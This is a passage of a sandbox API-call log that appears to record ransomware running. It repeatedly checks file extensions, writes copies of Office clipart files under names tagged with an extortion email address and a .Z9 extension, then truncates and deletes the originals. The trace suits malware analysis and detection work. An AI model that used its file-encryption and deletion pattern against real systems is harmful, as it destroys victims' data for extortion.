	[0173.704] lstrlenW (lpString=".7z") returned 3
	[0173.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.704] lstrlenW (lpString=".dbf") returned 4
	[0173.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.704] lstrlenW (lpString=".1cd") returned 4
	[0173.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.704] lstrlenW (lpString=".jpg") returned 4
	[0173.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.704] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.704] lstrlenW (lpString="J0107182.WMF") returned 12
	[0173.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.705] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16100) returned 1
	[0173.705] CloseHandle (hObject=0x540) returned 1
	[0173.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220
	[0173.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.706] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.706] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.708] GetLastError () returned 0x0
	[0173.708] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3ee4, lpOverlapped=0x0) returned 1
	[0174.574] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0174.579] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.579] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.579] SetEndOfFile (hFile=0x554) returned 1
	[0174.579] CloseHandle (hObject=0x554) returned 1
	[0174.579] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.579] SetEndOfFile (hFile=0x540) returned 1
	[0174.582] CloseHandle (hObject=0x540) returned 1
	[0174.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1
	[0174.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.583] lstrlenW (lpString=".doc") returned 4
	[0174.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.583] lstrlenW (lpString=".docx") returned 5
	[0174.583] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.583] lstrlenW (lpString=".pdf") returned 4
	[0174.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString=".xls") returned 4
	[0174.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.584] lstrlenW (lpString=".xlsx") returned 5
	[0174.584] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.584] lstrlenW (lpString=".ppt") returned 4
	[0174.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString=".zip") returned 4
	[0174.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.584] lstrlenW (lpString=".rar") returned 4
	[0174.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString=".bz2") returned 4
	[0174.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString=".7z") returned 3
	[0174.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString=".dbf") returned 4
	[0174.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString=".1cd") returned 4
	[0174.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString=".jpg") returned 4
	[0174.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.584] lstrlenW (lpString=".doc") returned 4
	[0174.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString=".docx") returned 5
	[0174.584] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.584] lstrlenW (lpString=".pdf") returned 4
	[0174.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.584] lstrlenW (lpString=".xls") returned 4
	[0174.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.585] lstrlenW (lpString=".xlsx") returned 5
	[0174.585] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.585] lstrlenW (lpString=".ppt") returned 4
	[0174.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.585] lstrlenW (lpString=".zip") returned 4
	[0174.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.585] lstrlenW (lpString=".rar") returned 4
	[0174.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.585] lstrlenW (lpString=".bz2") returned 4
	[0174.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.585] lstrlenW (lpString=".7z") returned 3
	[0174.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.585] lstrlenW (lpString=".dbf") returned 4
	[0174.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.585] lstrlenW (lpString=".1cd") returned 4
	[0174.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0174.585] lstrlenW (lpString=".jpg") returned 4
	[0174.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.586] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0174.586] lstrlenW (lpString="J0107258.WMF") returned 12
	[0174.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0176.898] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8552) returned 1
	[0176.898] CloseHandle (hObject=0x548) returned 1
	[0176.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220
	[0176.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0177.954] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.954] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0177.956] GetLastError () returned 0x0
	[0177.956] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2168, lpOverlapped=0x0) returned 1
	[0177.975] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2170, lpOverlapped=0x0) returned 1
	[0177.977] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.977] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.977] SetEndOfFile (hFile=0x538) returned 1
	[0177.978] CloseHandle (hObject=0x538) returned 1
	[0177.978] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.978] SetEndOfFile (hFile=0x444) returned 1
	[0178.061] CloseHandle (hObject=0x444) returned 1
	[0178.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.064] lstrlenW (lpString=".doc") returned 4
	[0178.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString=".docx") returned 5
	[0178.064] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.064] lstrlenW (lpString=".pdf") returned 4
	[0178.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString=".xls") returned 4
	[0178.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.064] lstrlenW (lpString=".xlsx") returned 5
	[0178.064] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.064] lstrlenW (lpString=".ppt") returned 4
	[0178.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.064] lstrlenW (lpString=".zip") returned 4
	[0178.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.065] lstrlenW (lpString=".rar") returned 4
	[0178.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".bz2") returned 4
	[0178.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".7z") returned 3
	[0178.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.065] lstrlenW (lpString=".dbf") returned 4
	[0178.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.065] lstrlenW (lpString=".1cd") returned 4
	[0178.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.065] lstrlenW (lpString=".jpg") returned 4
	[0178.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.065] lstrlenW (lpString=".doc") returned 4
	[0178.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.065] lstrlenW (lpString=".docx") returned 5
	[0178.065] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.065] lstrlenW (lpString=".pdf") returned 4
	[0178.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString=".xls") returned 4
	[0178.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.066] lstrlenW (lpString=".xlsx") returned 5
	[0178.066] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.066] lstrlenW (lpString=".ppt") returned 4
	[0178.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.066] lstrlenW (lpString=".zip") returned 4
	[0178.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.066] lstrlenW (lpString=".rar") returned 4
	[0178.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.066] lstrlenW (lpString=".bz2") returned 4
	[0178.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.067] lstrlenW (lpString=".7z") returned 3
	[0178.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.067] lstrlenW (lpString=".dbf") returned 4
	[0178.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.067] lstrlenW (lpString=".1cd") returned 4
	[0178.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0178.067] lstrlenW (lpString=".jpg") returned 4
	[0178.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.067] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.067] lstrlenW (lpString="J0107450.WMF") returned 12
	[0178.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.069] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4920) returned 1
	[0178.069] CloseHandle (hObject=0x444) returned 1
	[0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220
	[0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.070] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.070] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.072] GetLastError () returned 0x0
	[0178.072] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1338, lpOverlapped=0x0) returned 1
	[0178.074] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0178.125] ReadFile (in: hFile=0x444, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.125] WriteFile (in: hFile=0x558, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.125] SetEndOfFile (hFile=0x558) returned 1
	[0178.125] CloseHandle (hObject=0x558) returned 1
	[0178.126] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.126] SetEndOfFile (hFile=0x444) returned 1
	[0178.130] CloseHandle (hObject=0x444) returned 1
	[0178.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1
	[0178.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.133] lstrlenW (lpString=".doc") returned 4
	[0178.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.133] lstrlenW (lpString=".docx") returned 5
	[0178.133] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.133] lstrlenW (lpString=".pdf") returned 4
	[0178.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.133] lstrlenW (lpString=".xls") returned 4
	[0178.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.133] lstrlenW (lpString=".xlsx") returned 5
	[0178.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.133] lstrlenW (lpString=".ppt") returned 4
	[0178.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString=".zip") returned 4
	[0178.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.134] lstrlenW (lpString=".rar") returned 4
	[0178.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString=".bz2") returned 4
	[0178.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString=".7z") returned 3
	[0178.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString=".dbf") returned 4
	[0178.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString=".1cd") returned 4
	[0178.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString=".jpg") returned 4
	[0178.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.134] lstrlenW (lpString=".doc") returned 4
	[0178.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.135] lstrlenW (lpString=".docx") returned 5
	[0178.135] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.135] lstrlenW (lpString=".pdf") returned 4
	[0178.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.135] lstrlenW (lpString=".xls") returned 4
	[0178.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.135] lstrlenW (lpString=".xlsx") returned 5
	[0178.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.135] lstrlenW (lpString=".ppt") returned 4
	[0178.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0178.135] lstrlenW (lpString=".zip") returned 4
	[0178.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.135] lstrlenW (lpString=".rar") returned 4
	[0178.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.135] lstrlenW (lpString=".bz2") returned 4
	[0178.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
